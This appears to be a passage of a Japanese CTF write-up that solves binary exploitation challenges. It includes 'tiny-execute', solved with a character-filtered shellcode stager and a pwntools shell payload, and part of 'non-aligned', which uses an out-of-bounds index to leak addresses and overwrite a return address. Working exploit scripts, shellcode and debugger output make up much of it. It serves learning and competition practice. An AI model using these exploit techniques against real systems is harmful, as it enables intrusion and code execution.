context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
p = start()
# phase1 rewrite max_rewrite
sla("Pos> ", "4 -10")
# phase2 rewrite return addr
sla("Pos> ", "6 28") #末尾1byte目の1bit目
sla("Pos> ", "2 28") #末尾1byte目の5bit目
sla("Pos> ", "0 28") #末尾1byte目の7bit目
# map[0x39]にアクセスするためには+1が必要だが、「map[y * MAP_SIZE / 8 + (x / 8)]」より、目的の場所+8することで、+1を作ることができる
# 目的の場所+8しても計算の方は「tmp ^= 1 << (7 - (x % 8));」と余りで計算しているため問題ない
sla("Pos> ", "15 28") #末尾2byte目の0bit目
sla("Pos> ", "13 28") #末尾2byte目の2bit目
# 残りを消化
sla("Pos> ", "0 0")
sla("Pos> ", "0 0")
sla("Pos> ", "0 0")
p.interactive()
tiny-execute(Easy)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int check(char *buf, int size, char *forbidden, int forbidden_len){
for(int i=0; i<size; i++){
for(int j=0; j<forbidden_len; j++){
if (buf[i] == forbidden[j]){
return 0;
}
}
}
return 1;
}
int main(void){
char forbidden[] = "cdflagbin/sh";
char buf[24];
dprintf(STDOUT_FILENO, "Input shellcode > ");
int size = read(STDIN_FILENO, buf, sizeof(buf));
if(!check(buf, size, forbidden, sizeof(forbidden))){
dprintf(STDOUT_FILENO, "Forbidden characters detected!\n");
return -1;
}
dprintf(STDOUT_FILENO, "OK! executing...\n");
((int (*)(void))buf)();
return 0;
}
security
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabled
└─$ readelf -l tiny-execute
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 13 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000006c0 0x00000000000006c0 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x00000000000002e9 0x00000000000002e9 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x000000000000015c 0x000000000000015c R 0x1000
LOAD 0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
0x0000000000000268 0x0000000000000270 RW 0x1000
DYNAMIC 0x0000000000002db8 0x0000000000003db8 0x0000000000003db8
0x00000000000001f0 0x00000000000001f0 RW 0x8
NOTE 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000030 0x0000000000000030 R 0x8
NOTE 0x0000000000000368 0x0000000000000368 0x0000000000000368
0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000338 0x0000000000000338 0x0000000000000338
0x0000000000000030 0x0000000000000030 R 0x8
GNU_EH_FRAME 0x0000000000002054 0x0000000000002054 0x0000000000002054
0x000000000000003c 0x000000000000003c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000002da8 0x0000000000003da8 0x0000000000003da8
0x0000000000000258 0x0000000000000258 R 0x1
checksecコマンドではNX有効と出ていますが、readelf -lでスタック領域の権限を確認してみると実行権限Eが付与されているため、今回はスタック領域のコードが実行可能です。そしてなんと入力値を実行してくれる場所まで用意してもらっちゃっています。ということで今回はシェルコードを作成するのですが、制約がいくつかありそうです。
今回の制約
今回は、入力値に以下の文字のいずれかが含まれているとその内容を実行せずに終了してしまいます。
char forbidden[] = "cdflagbin/sh";
自分も嵌ってしまったポイントなのですが、文字列のサイズを省略したとき、上記の文字に加えてヌル文字も末尾に付与されます。よって、まず1つ目の制約は「上記の文字+ヌル文字をシェルコードに含めることはできない」です。
続いて、シェルコードのサイズですが、
char buf[24];
dprintf(STDOUT_FILENO, "Input shellcode > ");
int size = read(STDIN_FILENO, buf, sizeof(buf));
read関数が使われているため、24バイトまで書き込むことができます。よって、2つ目の制約は「シェルコードの長さは最大24バイトまで」です。
シェルコード生成
制約を満たすシェルコードを作成するのですが、何せ制限時間が4時間と短く、自分はシェルコードにそんなに慣れていなかったため、まずは既存のデータベースから良いシェルコードがないか探しに行きました。対象は以下の2つです。
ヌル文字を含まないシェルコード、24バイト以下のシェルコードは多く見つかりますが、/bin/sh\0を含まないコードはなかなか見つかりませんでした。
そこで、試しに作ってみることにしました。真っ先に思いついた方法としては、/bin/shの半分の値を格納しておき、後で2倍にする方法です。こちらは、ヌル文字を含まずに24バイト以内で作成できるのであれば実際にいけると思います。しかし、この24バイト以内を達成するために、execve('sh',0,0)という形にしてしまった点で沼に嵌りました。どうやら、execve関数ではPATHから探索することはないようで、execlp、execvpといった関数でなければ探索しないようです。
よって、execve('/bin//sh',0,0)を呼び出すシェルコードを目指します。まず、関数ポインタ実行直前の各レジスタ状況を見てみましょう。
$rax : 0x00007fffffffe010 -> 0x0000000000000a70 ('p\n'?)
$rbx : 0x00007fffffffe158 -> 0x00007fffffffe436 -> 0x616b2f656d6f682f 'tiny[...]'
$rcx : 0x0000000000000000
$rdx : 0x0000000000000000
$rsp : 0x00007fffffffdff0 -> 0x0000000000000000
$rbp : 0x00007fffffffe030 -> 0x00007fffffffe0d0 -> 0x00007fffffffe130 -> 0x0000000000000000
$rsi : 0x00007fffffffd6bc -> 0x6365786520214b4f 'OK! executing...\n '
$rdi : 0x00007fffffffd690 -> 0x00007fffffffd6bc -> 0x6365786520214b4f 'OK! executing...\n '
$rip : 0x00005555555552bd <main+0xc2> -> 0x4800000000b8d0ff
$r8 : 0x0000000000000000
$r9 : 0x00007ffff7fca380 -> 0xe5894855fa1e0ff3
$r10 : 0x00007fffffffdd50 -> 0x0000000000800000
$r11 : 0x0000000000000202
$r12 : 0x0000000000000001
$r13 : 0x0000000000000000
$r14 : 0x0000555555557db0 <__do_global_dtors_aux_fini_array_entry> -> 0x0000555555555140 <__do_global_dtors_aux> -> 0x2ec53d80fa1e0ff3
$r15 : 0x00007ffff7ffd000 <_rtld_global> -> 0x00007ffff7ffe2e0 -> 0x0000555555554000 -> 0x00010102464c457f
$eflags: 0x10246 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign ZERO adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
これらのうち、rdxレジスタは元から0であるため、それ以外のレジスタを必要な値に設定する必要があります。x86-64のシェルコードを作る際は
などのサイトを使うと便利です。例えば以下のようにすればいけるでしょう。
0: 48 31 f6 xor rsi,rsi
3: 56 push rsi
4: 48 bb 17 b1 34 b7 97 movabs rbx,0x34399797b734b117
b: 97 39 34
e: 48 d1 e3 shl rbx,1
11: 48 ff c3 inc rbx
14: 53 push rbx
15: 54 push rsp
16: 5f pop rdi
17: 6a 3b push 0x3b
19: 58 pop rax
1a: 0f 05 syscall
しかし、これだと4バイトもオーバーしてしまいます。もう少し削減する方法があるかもしれませんが、かなり厳しそうです。それこそ、今回のCTFは4時間であるため、ここを詰めるよりも何か他の方法を考えた方がよいでしょう。
方法としては2つ考えられます。
- ローカル変数の
forbiddenに書かれた文字をうまく活用する - stagerを作成
今回は後者の方法で突破を試みます。
stager作成
まず、read(0,buf,size)を呼び出します。現状、raxレジスタにはbufのアドレスが入っているため、これをrsiレジスタに移し、シェルコードを書き込めるだけのsizeを指定します。
0: b2 ff mov dl,0xff
2: 48 89 c6 mov rsi,rax
5: 31 ff xor edi,edi
7: 31 c0 xor eax,eax
9: 0f 05 syscall
なお、readシステムコールの第1引数はint型なので32bit範囲で0になっていればよく、システムコール番号も下位32bitのみなのでxor eax,eaxとしています。これでbufのところに任意の書き込みができ、こちらの入力は制約も関係ないため、通常のシェルコードを入力することができます。しかし1点注意事項があり、bufの先頭から上書きをしているため、stagerのsyscallが終わった後のリターンアドレスを中途半端に書き換えてしまうとうまく動きません。
gdb-peda$ x/10i $rax
=> 0x7ffd794e33b0: mov dl,0xff
0x7ffd794e33b2: mov rsi,rax
0x7ffd794e33b5: xor edi,edi
0x7ffd794e33b7: xor eax,eax
0x7ffd794e33b9: syscall
call rax実行直後のbufの中身を見てみると、先頭から10バイト目のところからsyscall命令が実行されています。syscall命令は2バイトの命令なので、リターンアドレスは先頭から12バイト目であることが予想されます。そのため、stagerでシェルコードを入力するときは、11バイト適当に消費してからシェルコードを書く必要があります。今回は、何もしないnop命令を11回書き込んだ後にシェルコードを入力しました。
解答
ans.py
from pwn import *
context.log_level = "debug"
elf = context.binary = ELF(args.EXE or 'vuln')
if args.LIBC == "True":
libc = ELF('libc.so.6')
elif isinstance(args.LIBC, str) and args.LIBC != "":
libc = ELF(args.LIBC)
else:
libc = 0
log.info(f"libc = {libc.path if libc else 'not loaded'}")
# エイリアス
# convのところはもし引数がstr型であればbyte型に、intやfloat型であればstr型に直してからbyte型に直してくれる
# e.g. ru("Choice: ") b"〜"で指定してもよい
# e.g. sl(1) str型にしてからbyte型に変換される
conv = lambda *x: tuple(
str(y).encode() if isinstance(y, (int, float)) else
y.encode() if isinstance(y, str) else
y if isinstance(y, bytes) else
(_ for _ in ()).throw(TypeError(f"Unsupported type: {type(y)}")) # raise TypeError
for y in x
)
rc = lambda *x, **y: p.recv(*conv(*x), **y)
ru = lambda *x, **y: p.recvuntil(*conv(*x), **y)
rl = lambda *x, **y: p.recvline(*conv(*x), **y)
rrp = lambda *x, **y: p.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: p.recvall(*conv(*x), **y)
sn = lambda *x, **y: p.send(*conv(*x), **y)
sl = lambda *x, **y: p.sendline(*conv(*x), **y)
sa = lambda *x, **y: p.sendafter(*conv(*x), **y)
sla = lambda *x, **y: p.sendlineafter(*conv(*x), **y)
# e.g. start(argv=[1])とすれば、./{binary} 1 を実行したことになる
# e.g. start(argv=[1], env={'DEBUG': '1'}, cwd='/tmp')とすれば環境変数等も指定できる
def start(argv=[], *a, **kw):
# アーキテクチャの指定(何も指定しなければx64)
if args.X32:
context.arch = "i386"
log.info("set i386")
else:
context.arch = "amd64"
log.info("set amd64")
# tmuxを使用する場合はTMUXを指定
if args.TMUX:
context.terminal = ['tmux', 'split-window', '-h']
# 実行方法の指定
if args.REMOTE:
# REMOTE=host:portの形で指定
(host, port) = args.REMOTE.split(':')
return connect(host, port)
elif args.GDB:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([elf.path] + argv, *a, **kw)
gdbscript = '''
b *main+190
continue
'''.format(**locals())
def padu64(b):
while len(b) < 8:
b = b + b"\x00"
return u64(b)
def show_addr(addr,name="libc_base"):
print("------------------------------")
log.info(f"{name} = {addr:#018x}")
print("------------------------------")
p = start()
# phase1 stager
ru("Input shellcode > ")
stager = asm('''
mov dl,0xff
mov rsi,rax
xor edi,edi
xor eax,eax
syscall
''')
p.send(stager)
# phase2 set up shellcode
shellcode = asm('nop\n' * 11) + asm(shellcraft.sh())
p.send(shellcode)
p.interactive()
non-aligned(Medium)
概要
source code
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
struct entry {
uint32_t reserved;
uint64_t hash;
} __attribute__((__packed__));
uint64_t calc_hash(char *buf, size_t len) {
uint64_t result = 0;
for (size_t i = 0; i < len; i++) {
result = result * 127 + buf[i];
}
return result;
}
size_t readline(char *buf, size_t size) {
char ch;
size_t i;
for (i = 0; i < size; i++) {
if (read(0, &ch, 1) == 0) {
break;
}
if (ch == '\n') break;
buf[i] = ch;
}
return i;
}
void chal() {
int idx;
struct entry entries[10];
char buf[128];
memset(entries, 0, sizeof(entries));
while (1) {
memset(buf, 0, sizeof(buf));
printf("1. New hash\n2. Show hash\n> ");
int menu = 0;
scanf("%d", &menu);
switch (menu) {
case 1:
printf("Index: ");
scanf("%d%*c", &idx);
printf("Input> ");
size_t s = readline(buf, 100);
entries[idx].hash = calc_hash(buf, s);
break;
case 2:
printf("Index: ");
scanf("%d%*c", &idx);
printf("Hash: 0x%llx\n", entries[idx].hash);
break;
default:
printf("bye.\n");
return;
}
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
chal();
return 0;
}
security
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabled
└─$ readelf -l na
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x10a0
There are 14 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x0000000000000310 0x0000000000000310 R 0x8
INTERP 0x00000000000003b4 0x00000000000003b4 0x00000000000003b4
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000850 0x0000000000000850 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x00000000000004c9 0x00000000000004c9 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x0000000000000188 0x0000000000000188 R 0x1000
LOAD 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000278 0x00000000000002a0 RW 0x1000
DYNAMIC 0x0000000000002de0 0x0000000000003de0 0x0000000000003de0
0x00000000000001e0 0x00000000000001e0 RW 0x8
NOTE 0x0000000000000350 0x0000000000000350 0x0000000000000350
0x0000000000000040 0x0000000000000040 R 0x8
NOTE 0x0000000000000390 0x0000000000000390 0x0000000000000390
0x0000000000000024 0x0000000000000024 R 0x4
NOTE 0x0000000000002168 0x0000000000002168 0x0000000000002168
0x0000000000000020 0x0000000000000020 R 0x4
GNU_PROPERTY 0x0000000000000350 0x0000000000000350 0x0000000000000350
0x0000000000000040 0x0000000000000040 R 0x8
GNU_EH_FRAME 0x000000000000204c 0x000000000000204c 0x000000000000204c
0x000000000000003c 0x000000000000003c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
GNU_RELRO 0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
0x0000000000000230 0x0000000000000230 R 0x1
今回もNX bitが無効であるためシェルコードを作成することになりそうです。脆弱性としては、idxのチェックが特にないため、範囲外参照が挙げられます。スタックのアドレスをリークしてシェルコードを書き込み、リターンアドレスをそのシェルコードが格納されている先頭アドレスに書き換えることでうまくいきそうです。しかし、構造体のサイズがうまく調整されていて、簡単にはシェルコードを構築することができない問題となっています。
entry構造体
今回範囲外参照のできる配列entriesの型はentry構造体です。
struct entry {
uint32_t reserved;
uint64_t hash;
} __attribute__((__packed__));
通常であれば、構造体のサイズを求めるときはアライメントに気を付ける必要がありますが、今回は__attribute__((__packed__))が付いているので、各メンバのサイズの合計がそのまま構造体のサイズとなります。ということで、今回のentry構造体のサイズは0xcとなります。このサイズが絶妙で、今回入力したり出力したりできる部分がhashメンバのみであり、スタック上に配置されている配列entriesのhashメンバのところを0xffffffffとすると、
ptr + 0x0 | 00000000 ffffffff
ptr + 0x8 | ffffffff 00000001
ptr + 0x10 | ffffffff ffffffff
ptr + 0x18 | 00000002 ffffffff
ptr + 0x20 | ffffffff 00000003
ptr + 0x28 | ffffffff ffffffff
ptr + 0x30 | 00000004 ffffffff
ptr + 0x38 | ffffffff 00000005
ptr + 0x40 | ffffffff ffffffff
…
のような形で配置されていることが分かります。通常、x64環境においてリターンアドレス等が格納される場所は8バイトでアライメントされているため、配列のindex次第では8バイト一気に書き換えることができません。今回、配列entriesは8バイト境界のところから配置されているため、奇数のindexのときは、8バイト境界のところを参照することができます。
アドレスリークとリターンアドレス書き換え
上記の件に気を付けながら、まずはリターンアドレス書き換え先で使用するスタックのアドレスをリークします。どのindexを指定したら何がリークされるのか先に調べるのも良いですが、本番であれば時間がないため、以下のようにindexを0~50くらいまで指定してそれっぽいものがないか調べるとよいでしょう。
def menu(num):
ru("1. New hash\n2. Show hash\n> ")
sl(num)
def show(index):
menu(2)
ru("Index: ")
sl(index)
ru("Hash: ")
return int(rl().rstrip(),16)
for i in range(50):
print("i = " + str(i))
print(hex(show(i)))
実行すると、
i = 41
0x7ffef9289f28
i = 42
0x556a
i = 43
0x0
i = 44
0xf9289f100000556a
i = 45
0x0
i = 46
0x0
i = 47
0x556aed2500c5
のように出てきます。デバッガで、値を確認すれば、indexが41の時の値がスタックのアドレスであることが分かると思います。同様にindexが47のときはelfのアドレスが出てくるのでこちらからelfのベースアドレスも分かります。
続いて、リターンアドレスを書き換えて、シェルコードを書き込んだ場所に向けるという方法が思いつくかと思います。
chal関数の逆アセンブル結果
gef> disas chal
Dump of assembler code for function chal:
0x000055c3591cc282 <+0>: push rbp
0x000055c3591cc283 <+1>: mov rbp,rsp
0x000055c3591cc286 <+4>: push rbx
0x000055c3591cc287 <+5>: sub rsp,0x128
0x000055c3591cc28e <+12>: mov rax,QWORD PTR fs:0x28
0x000055c3591cc297 <+21>: mov QWORD PTR [rbp-0x18],rax
0x000055c3591cc29b <+25>: xor eax,eax
0x000055c3591cc29d <+27>: lea rax,[rbp-0x120]
0x000055c3591cc2a4 <+34>: mov edx,0x78
0x000055c3591cc2a9 <+39>: mov esi,0x0
0x000055c3591cc2ae <+44>: mov rdi,rax
0x000055c3591cc2b1 <+47>: call 0x55c3591cc060 <memset@plt>
0x000055c3591cc2b6 <+52>: lea rax,[rbp-0xa0]
0x000055c3591cc2bd <+59>: mov edx,0x80
0x000055c3591cc2c2 <+64>: mov esi,0x0
0x000055c3591cc2c7 <+69>: mov rdi,rax
0x000055c3591cc2ca <+72>: call 0x55c3591cc060 <memset@plt>
0x000055c3591cc2cf <+77>: lea rax,[rip+0xd2e] # 0x55c3591cd004
0x000055c3591cc2d6 <+84>: mov rdi,rax
0x000055c3591cc2d9 <+87>: mov eax,0x0
0x000055c3591cc2de <+92>: call 0x55c3591cc050 <printf@plt>
0x000055c3591cc2e3 <+97>: mov DWORD PTR [rbp-0x12c],0x0
0x000055c3591cc2ed <+107>: lea rax,[rbp-0x12c]
0x000055c3591cc2f4 <+114>: lea rdx,[rip+0xd25] # 0x55c3591cd020
0x000055c3591cc2fb <+121>: mov rsi,rax
0x000055c3591cc2fe <+124>: mov rdi,rdx
0x000055c3591cc301 <+127>: mov eax,0x0
0x000055c3591cc306 <+132>: call 0x55c3591cc080 <__isoc23_scanf@plt>
0x000055c3591cc30b <+137>: mov eax,DWORD PTR [rbp-0x12c]
0x000055c3591cc311 <+143>: cmp eax,0x1
0x000055c3591cc314 <+146>: je 0x55c3591cc324 <chal+162>
0x000055c3591cc316 <+148>: cmp eax,0x2
0x000055c3591cc319 <+151>: je 0x55c3591cc3cd <chal+331>
0x000055c3591cc31f <+157>: jmp 0x55c3591cc43f <chal+445>
0x000055c3591cc324 <+162>: lea rax,[rip+0xcf8] # 0x55c3591cd023
0x000055c3591cc32b <+169>: mov rdi,rax
0x000055c3591cc32e <+172>: mov eax,0x0
0x000055c3591cc333 <+177>: call 0x55c3591cc050 <printf@plt>
0x000055c3591cc338 <+182>: lea rax,[rbp-0x130]
0x000055c3591cc33f <+189>: lea rdx,[rip+0xce5] # 0x55c3591cd02b
0x000055c3591cc346 <+196>: mov rsi,rax
0x000055c3591cc349 <+199>: mov rdi,rdx
0x000055c3591cc34c <+202>: mov eax,0x0
0x000055c3591cc351 <+207>: call 0x55c3591cc080 <__isoc23_scanf@plt>
0x000055c3591cc356 <+212>: lea rax,[rip+0xcd4] # 0x55c3591cd031
0x000055c3591cc35d <+219>: mov rdi,rax
0x000055c3591cc360 <+222>: mov eax,0x0
0x000055c3591cc365 <+227>: call 0x55c3591cc050 <printf@plt>
0x000055c3591cc36a <+232>: lea rax,[rbp-0xa0]
0x000055c3591cc371 <+239>: mov esi,0x64
0x000055c3591cc376 <+244>: mov rdi,rax
0x000055c3591cc379 <+247>: call 0x55c3591cc1f6 <readline>
0x000055c3591cc37e <+252>: mov QWORD PTR [rbp-0x128],rax
0x000055c3591cc385 <+259>: mov ebx,DWORD PTR [rbp-0x130]
0x000055c3591cc38b <+265>: mov rdx,QWORD PTR [rbp-0x128]
0x000055c3591cc392 <+272>: lea rax,[rbp-0xa0]
0x000055c3591cc399 <+279>: mov rsi,rdx
0x000055c3591cc39c <+282>: mov rdi,rax
0x000055c3591cc39f <+285>: call 0x55c3591cc199 <calc_hash>
0x000055c3591cc3a4 <+290>: mov rcx,rax
0x000055c3591cc3a7 <+293>: movsxd rdx,ebx
0x000055c3591cc3aa <+296>: mov rax,rdx
0x000055c3591cc3ad <+299>: add rax,rax
0x000055c3591cc3b0 <+302>: add rax,rdx
0x000055c3591cc3b3 <+305>: shl rax,0x2
0x000055c3591cc3b7 <+309>: lea rax,[rax-0x10]
0x000055c3591cc3bb <+313>: add rax,rbp
0x000055c3591cc3be <+316>: sub rax,0x110
0x000055c3591cc3c4 <+322>: mov QWORD PTR [rax+0x4],rcx
0x000055c3591cc3c8 <+326>: jmp 0x55c3591cc460 <chal+478>
0x000055c3591cc3cd <+331>: lea rax,[rip+0xc4f] # 0x55c3591cd023
0x000055c3591cc3d4 <+338>: mov rdi,rax
0x000055c3591cc3d7 <+341>: mov eax,0x0
0x000055c3591cc3dc <+346>: call 0x55c3591cc050 <printf@plt>
0x000055c3591cc3e1 <+351>: lea rax,[rbp-0x130]
0x000055c3591cc3e8 <+358>: lea rdx,[rip+0xc3c] # 0x55c3591cd02b
0x000055c3591cc3ef <+365>: mov rsi,rax
0x000055c3591cc3f2 <+368>: mov rdi,rdx
0x000055c3591cc3f5 <+371>: mov eax,0x0
0x000055c3591cc3fa <+376>: call 0x55c3591cc080 <__isoc23_scanf@plt>
0x000055c3591cc3ff <+381>: mov eax,DWORD PTR [rbp-0x130]
0x000055c3591cc405 <+387>: movsxd rdx,eax
0x000055c3591cc408 <+390>: mov rax,rdx
0x000055c3591cc40b <+393>: add rax,rax
0x000055c3591cc40e <+396>: add rax,rdx
0x000055c3591cc411 <+399>: shl rax,0x2
0x000055c3591cc415 <+403>: lea rax,[rax-0x10]
0x000055c3591cc419 <+407>: add rax,rbp
0x000055c3591cc41c <+410>: sub rax,0x110
=> 0x000055c3591cc422 <+416>: mov rax,QWORD PTR [rax+0x4]
0x000055c3591cc426 <+420>: lea rdx,[rip+0xc0c] # 0x55c3591cd039
0x000055c3591cc42d <+427>: mov rsi,rax
0x000055c3591cc430 <+430>: mov rdi,rdx
0x000055c3591cc433 <+433>: mov eax,0x0
0x000055c3591cc438 <+438>: call 0x55c3591cc050 <printf@plt>
0x000055c3591cc43d <+443>: jmp 0x55c3591cc460 <chal+478>
0x000055c3591cc43f <+445>: lea rax,[rip+0xc01] # 0x55c3591cd047
0x000055c3591cc446 <+452>: mov rdi,rax
0x000055c3591cc449 <+455>: call 0x55c3591cc030 <puts@plt>
0x000055c3591cc44e <+460>: nop
0x000055c3591cc44f <+461>: mov rax,QWORD PTR [rbp-0x18]
0x000055c3591cc453 <+465>: sub rax,QWORD PTR fs:0x28
0x000055c3591cc45c <+474>: je 0x55c3591cc46a <chal+488>
0x000055c3591cc45e <+476>: jmp 0x55c3591cc465 <chal+483>
0x000055c3591cc460 <+478>: jmp 0x55c3591cc2b6 <chal+52>
0x000055c3591cc465 <+483>: call 0x55c3591cc040 <__stack_chk_fail@plt>
0x000055c3591cc46a <+488>: mov rbx,QWORD PTR [rbp-0x8]
0x000055c3591cc46e <+492>: leave
0x000055c3591cc46f <+493>: ret
とりあえず、逆アセンブルの結果から、printf("Hash: 0x%llx\n", entries[idx].hash);のentries[idx].hashを取得しているchal+416にブレークポイントを立てて、その時のスタックとリターンアドレスの位置を確認してみると、
gef> telescope $sp 50 -n
$rsp 0x7ffff5f58a10|+0x0000|+000: 0x0000000200000000
0x7ffff5f58a18|+0x0008|+001: 0x0000000000000000
$rax 0x7ffff5f58a20|+0x0010|+002: 0x0000000000000000
0x7ffff5f58a28|+0x0018|+003: 0x0000000000000000
0x7ffff5f58a30|+0x0020|+004: 0x0000000000000000
0x7ffff5f58a38|+0x0028|+005: 0x0000000000000000
0x7ffff5f58a40|+0x0030|+006: 0x0000000000000000
0x7ffff5f58a48|+0x0038|+007: 0x0000000000000000
0x7ffff5f58a50|+0x0040|+008: 0x0000000000000000
0x7ffff5f58a58|+0x0048|+009: 0x0000000000000000
0x7ffff5f58a60|+0x0050|+010: 0x0000000000000000
0x7ffff5f58a68|+0x0058|+011: 0x0000000000000000
0x7ffff5f58a70|+0x0060|+012: 0x0000000000000000
0x7ffff5f58a78|+0x0068|+013: 0x0000000000000000
0x7ffff5f58a80|+0x0070|+014: 0x0000000000000000
0x7ffff5f58a88|+0x0078|+015: 0x0000000000000000
0x7ffff5f58a90|+0x0080|+016: 0x0000000000000000
0x7ffff5f58a98|+0x0088|+017: 0x0000000000000000
0x7ffff5f58aa0|+0x0090|+018: 0x0000000000000000
0x7ffff5f58aa8|+0x0098|+019: 0x0000000000000000
0x7ffff5f58ab0|+0x00a0|+020: 0x0000000000000000
0x7ffff5f58ab8|+0x00a8|+021: 0x0000000000000000
0x7ffff5f58ac0|+0x00b0|+022: 0x0000000000000000
0x7ffff5f58ac8|+0x00b8|+023: 0x0000000000000000
0x7ffff5f58ad0|+0x00c0|+024: 0x0000000000000000
0x7ffff5f58ad8|+0x00c8|+025: 0x0000000000000000
0x7ffff5f58ae0|+0x00d0|+026: 0x0000000000000000
0x7ffff5f58ae8|+0x00d8|+027: 0x0000000000000000
0x7ffff5f58af0|+0x00e0|+028: 0x0000000000000000
0x7ffff5f58af8|+0x00e8|+029: 0x0000000000000000
0x7ffff5f58b00|+0x00f0|+030: 0x0000000000000000
0x7ffff5f58b08|+0x00f8|+031: 0x0000000000000000
0x7ffff5f58b10|+0x0100|+032: 0x0000000000000000
0x7ffff5f58b18|+0x0108|+033: 0x0000000000000000
0x7ffff5f58b20|+0x0110|+034: 0x0000000000000001
0x7ffff5f58b28|+0x0118|+035: 0xa93a66f1f6317c00 <- canary
0x7ffff5f58b30|+0x0120|+036: 0x000055c3591cedd8 -> 0x000055c3591cc140 -> 0x2f1d3d80fa1e0ff3 <- $r14
0x7ffff5f58b38|+0x0128|+037: 0x00007ffff5f58c78 -> 0x00007ffff5f5a4a3 -> 0x616b2f656d6f682f 'na_pa[...]' <- $rbx
$rbp 0x7ffff5f58b40|+0x0130|+038: 0x00007ffff5f58b50 -> 0x00007ffff5f58bf0 -> 0x00007ffff5f58c50 -> ...
0x7ffff5f58b48|+0x0138|+039: 0x000055c3591cc4b5 <main+0x45> -> 0xf3c35d00000000b8 <- retaddr[1]
0x7ffff5f58b50|+0x0140|+040: 0x00007ffff5f58bf0 -> 0x00007ffff5f58c50 -> 0x0000000000000000
0x7ffff5f58b58|+0x0148|+041: 0x00007f9d54e2a1ca -> 0xe80001d9cfe8c789 <- retaddr[2]
chal関数のリターンアドレスは0x7ffff5f58b48(rbp+0x8)にあることが分かりました。chal関数の逆アセンブル結果より、entriesの先頭は、rbp-0x120からであるため、位置関係を計算するとリターンアドレスの場所はentries[24].hashの後半4バイトとentries[25].reservedの位置にあることが分かります。リトルエンディアンに注意しながら4バイトごとに区切って見てみると以下のようになっています。
$rbp 0x7ffff5f58b40|+0x0130|+038: 0x00007fff (entries[24].hash) | f5f58b50 (entries[24].reserved) | -> 0x00007ffff5f58bf0 -> 0x00007ffff5f58c50 -> ...
0x7ffff5f58b48|+0x0138|+039: 0x000055c3 (entries[25].reserved) | 591cc4b5 (entries[24].hash) | <main+0x45> -> 0xf3c35d00000000b8 <- retaddr[1]
0x7ffff5f58b50|+0x0140|+040: 0x00007fff (entries[25].hash) | f5f58bf0 (entries[25].hash) |
つまり、リターンアドレスは末尾4バイトしか書き換えることができません。しかし、次の0x7ffff5f58b50はentries[25].hashの位置に相当し、ここであれば丸々8バイト書き換えることができます。よって、なんとか0x7ffff5f58b48のリターンアドレス先でret命令を呼べるようにしたいです。今回、elfベースのリークはできているのでこれは簡単にできます。ret命令に書き換えることで0x7ffff5f58b50がリターンアドレスとして使えることができるので、シェルコードを別途スタック上に書き込んだ上でその先頭アドレスをここに書き込めばシェルコードを呼んでくれます。
シェルコード構築
まず、シェルコードが呼ばれる直前の各レジスタの値を見てみます(別のプロセスを起動したためスタックのアドレス等は先ほどとは違います)。
---------------------------------------------------------------------------------------------------- registers ----
$rax : 0x0000000000000000
$rbx : 0x00007ffd36c7b7a8 -> 0x00007ffd36c7d4a3 -> 0x616b2f656d6f682f 'na_pa[...]'
$rcx : 0x00007f7c68b1c574 <write+0x14> -> 0x5477fffff0003d48 ('H='?)
$rdx : 0x0000000000000000
$rsp : 0x00007ffd36c7b680 -> 0x00007ffd36c7b698 -> 0x04eb909090df8948
$rbp : 0x0000000036c7b680
$rsi : 0x00007f7c68c04643 <_IO_2_1_stdout_+0x83> -> 0xc05710000000000a
$rdi : 0x00007f7c68c05710 -> 0x0000000000000000
$rip : 0x000055b432dbc01a <_init+0x1a> -> 0x35ff0000000000c3
$r8 : 0x0000000000000004
